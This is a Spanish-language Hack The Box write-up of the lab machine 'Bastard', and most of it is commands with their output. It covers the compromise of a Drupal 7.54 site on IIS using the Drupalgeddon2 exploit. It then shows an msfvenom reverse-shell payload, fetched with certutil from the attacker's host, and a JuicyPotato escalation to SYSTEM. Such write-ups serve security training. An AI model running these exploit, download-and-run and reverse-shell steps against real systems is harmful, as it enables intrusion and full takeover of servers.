Bastard

Hack The Box — Writeup

Bastard

IP:10.129.24.164
OS:Windows
Dificultad:Medium
Fecha:7 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts

# Output
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 127
135/tcp   open  msrpc   syn-ack ttl 127
49154/tcp open  unknown syn-ack ttl 127

Se identificaron tres puertos abiertos: el puerto 80 (HTTP), el puerto 135 (MSRPC) y el puerto 49154 (desconocido). Dado que el servicio del puerto 135 no era conocido, se investigó previamente: MSRPC (Microsoft Remote Procedure Call) es un protocolo cliente-servidor que permite a un sistema solicitar servicios a otro a través de una red.

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Bastard | Bastard
|_http-server-header: Microsoft-IIS/7.5
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Hallazgo: luego de realizar el escaneo de versiones de los servicios, se identificaron múltiples vectores de ataque potenciales mediante banner grabbing. Como hallazgo principal se detectó que el puerto 80 ejecuta Microsoft IIS 7.5 sirviendo una instalación de Drupal 7, CMS con múltiples CVE críticos públicamente documentados. Adicionalmente se identificó el método HTTP TRACE habilitado y un archivo robots.txt accesible con 36 rutas internas del sistema, incluyendo directorios sensibles como /includes/, /modules/ y /scripts/.

Página web principal

Enumeración

Análisis del archivo robots.txt

Posteriormente se accedió directamente a la ruta /robots.txt para identificar qué rutas y archivos se encontraban disponibles en el servidor, con el objetivo de determinar posibles vectores de ataque.

User-agent: *
Crawl-delay: 10

# Directorios
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/

# Archivos sensibles
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /install.php
Disallow: /update.php
Disallow: /xmlrpc.php

# Rutas administrativas
Disallow: /admin/
Disallow: /user/register/
Disallow: /user/login/
Disallow: /user/logout/
Disallow: /user/password/
Disallow: /node/add/
Disallow: /search/

Se identificaron múltiples directorios, archivos y rutas sensibles. Con ese mapa de la estructura del sitio, se procedió a acceder a /CHANGELOG.txt, archivo que en instalaciones de Drupal registra el historial de versiones.

Al acceder a esa ruta se confirmó que la versión instalada es Drupal 7.54, información suficiente para preparar el ataque dirigido a este servicio.

Drupal 7.54, 2017-02-01

Investigación de CVE aplicables

Con la versión exacta identificada, se investigaron los exploits disponibles para Drupal 7.54:

# Comando ejecutado
searchsploit drupal 7

# Output relevante
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) RCE (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 / < 8.3.9 - 'Drupalgeddon2' Remote Code Execution  | php/webapps/44449.rb

Se identificaron dos CVE aplicables a la versión 7.54:

Explotación

Intentos fallidos con Metasploit

Se buscó el módulo de Drupalgeddon2 en Metasploit:

msf > search drupalgeddon2

exploit/unix/webapp/drupal_drupalgeddon2  excellent

Intento fallido 1 — IP incorrecta y proxy nginx:

set RHOSTS 10.129.24.165   # IP incorrecta
run

[-] Unexpected reply: 405 Not Allowed
Server: nginx/1.14.0 (Ubuntu)
[*] Exploit completed, but no session was created.

Por qué no funcionó: la IP configurada en RHOSTS era incorrecta. Las peticiones llegaban a un proxy nginx que bloqueaba los métodos POST del exploit con un error 405 (Method Not Allowed).

Intento fallido 2 — ForceExploit con IP corregida:

set RHOSTS 10.129.24.164
set ForceExploit true
run

[+] The target is vulnerable. Detected vulnerable version 7
[-] Unexpected reply: 404 Not Found
[*] Exploit completed, but no session was created.

Por qué no funcionó: aunque el módulo confirmó que el objetivo era vulnerable, las peticiones POST del exploit recibían respuestas 404. El módulo de Metasploit no era compatible con esta configuración específica de IIS.

Explotación exitosa con exploit manual

Se utilizó el exploit en Ruby directamente desde searchsploit:

searchsploit -m php/webapps/44449.rb
gem install base64
gem install highline
ruby 44449.rb http://10.129.24.164/

[*] --==[::#Drupalggedon2::]==--
[+] Found  : http://10.129.24.164/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.54
[*] Testing: Form   (user/password)
[+] Result : Form valid
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo VINUMSAP
[+] Result : VINUMSAP
[+] Good News Everyone! Target seems to be exploitable (Code execution)!
[!] FAILED : Couldn't find a writeable web path
[*] Dropping back to direct OS commands
drupalgeddon2>>

Resultado: se obtuvo RCE confirmado mediante una shell interactiva limitada. El exploit no pudo escribir una webshell en disco por falta de permisos de escritura en las rutas web, pero sí permitía ejecutar comandos directamente en el servidor.

Se verificó el usuario actual y la ruta de trabajo:

drupalgeddon2>> whoami
nt authority\iusr

drupalgeddon2>> dir
Directory of C:\inetpub\drupal-7.54
[...contenido del directorio...]

Observación: la shell de drupalgeddon2 presentaba limitaciones con caracteres especiales como > y |, lo que impidió ejecutar comandos con redireccionamiento. Para obtener una shell completa con Meterpreter se procedió a descargar y ejecutar un payload en la máquina objetivo.

Obtención de Meterpreter

Se generó un payload de Meterpreter con msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=4444 -f exe -o shell.exe

Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exe

Se levantó un servidor HTTP para servir el payload y se descargó en la máquina objetivo mediante certutil:

drupalgeddon2>> certutil -urlcache -split -f http://10.10.15.163:8080/shell.exe shell.exe

# Log del servidor HTTP (confirmacion de descarga):
10.129.24.164 - - [07/Jul/2026 05:47:16] "GET /shell.exe HTTP/1.1" 200 -
10.129.24.164 - - [07/Jul/2026 05:47:17] "GET /shell.exe HTTP/1.1" 200 -

Con el listener activo en Metasploit se ejecutó el payload:

drupalgeddon2>> shell.exe

[*] Sending stage (248902 bytes) to 10.129.24.164
[*] Meterpreter session 1 opened (10.10.15.163:4444 -> 10.129.24.164:xxxxx)

meterpreter > getuid
Server username: NT AUTHORITY\IUSR

Obtención de la flag de usuario

meterpreter > shell

OS Name:    Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600

C:\inetpub\drupal-7.54> type C:\Users\dimitris\Desktop\user.txt
[flag de usuario obtenida]

Escalada de Privilegios

Enumeración de privilegios

C:\inetpub\drupal-7.54> whoami /priv

Privilege Name          Description                               State
=======================  ========================================  =======
SeImpersonatePrivilege  Impersonate a client after authentication Enabled

Hallazgo: el privilegio SeImpersonatePrivilege se encontraba habilitado. Este privilegio permite a un proceso impersonar el token de seguridad de otro usuario, incluyendo NT AUTHORITY\SYSTEM. Es el vector clásico de escalada de privilegios cuando se opera en el contexto de un servicio web como IIS.

Selección de herramienta: dado que el sistema operativo es Windows Server 2008 R2, se seleccionó JuicyPotato como herramienta de explotación, al ser la más compatible con esta versión. PrintSpoofer y GodPotato requieren versiones más recientes del sistema operativo.

Escalada con JuicyPotato

Se generó un segundo payload en un puerto diferente y se subieron JuicyPotato y el payload a la máquina objetivo:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=5555 -f exe -o shell2.exe

meterpreter > upload JuicyPotato.exe C:\\Windows\\Temp\\jp.exe
meterpreter > upload shell2.exe C:\\Windows\\Temp\\shell2.exe

Con el segundo listener activo en el puerto 5555, se ejecutó JuicyPotato con el CLSID válido para Windows Server 2008 R2:

C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\shell2.exe -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

[+] {9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

[*] Sending stage (248902 bytes) to 10.129.24.164
[*] Meterpreter session 2 opened (10.10.15.163:5555 -> 10.129.24.164:xxxxx)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Obtención de la flag root

meterpreter > shell
C:\Windows\System32> type C:\Users\Administrator\Desktop\root.txt
[flag de root obtenida]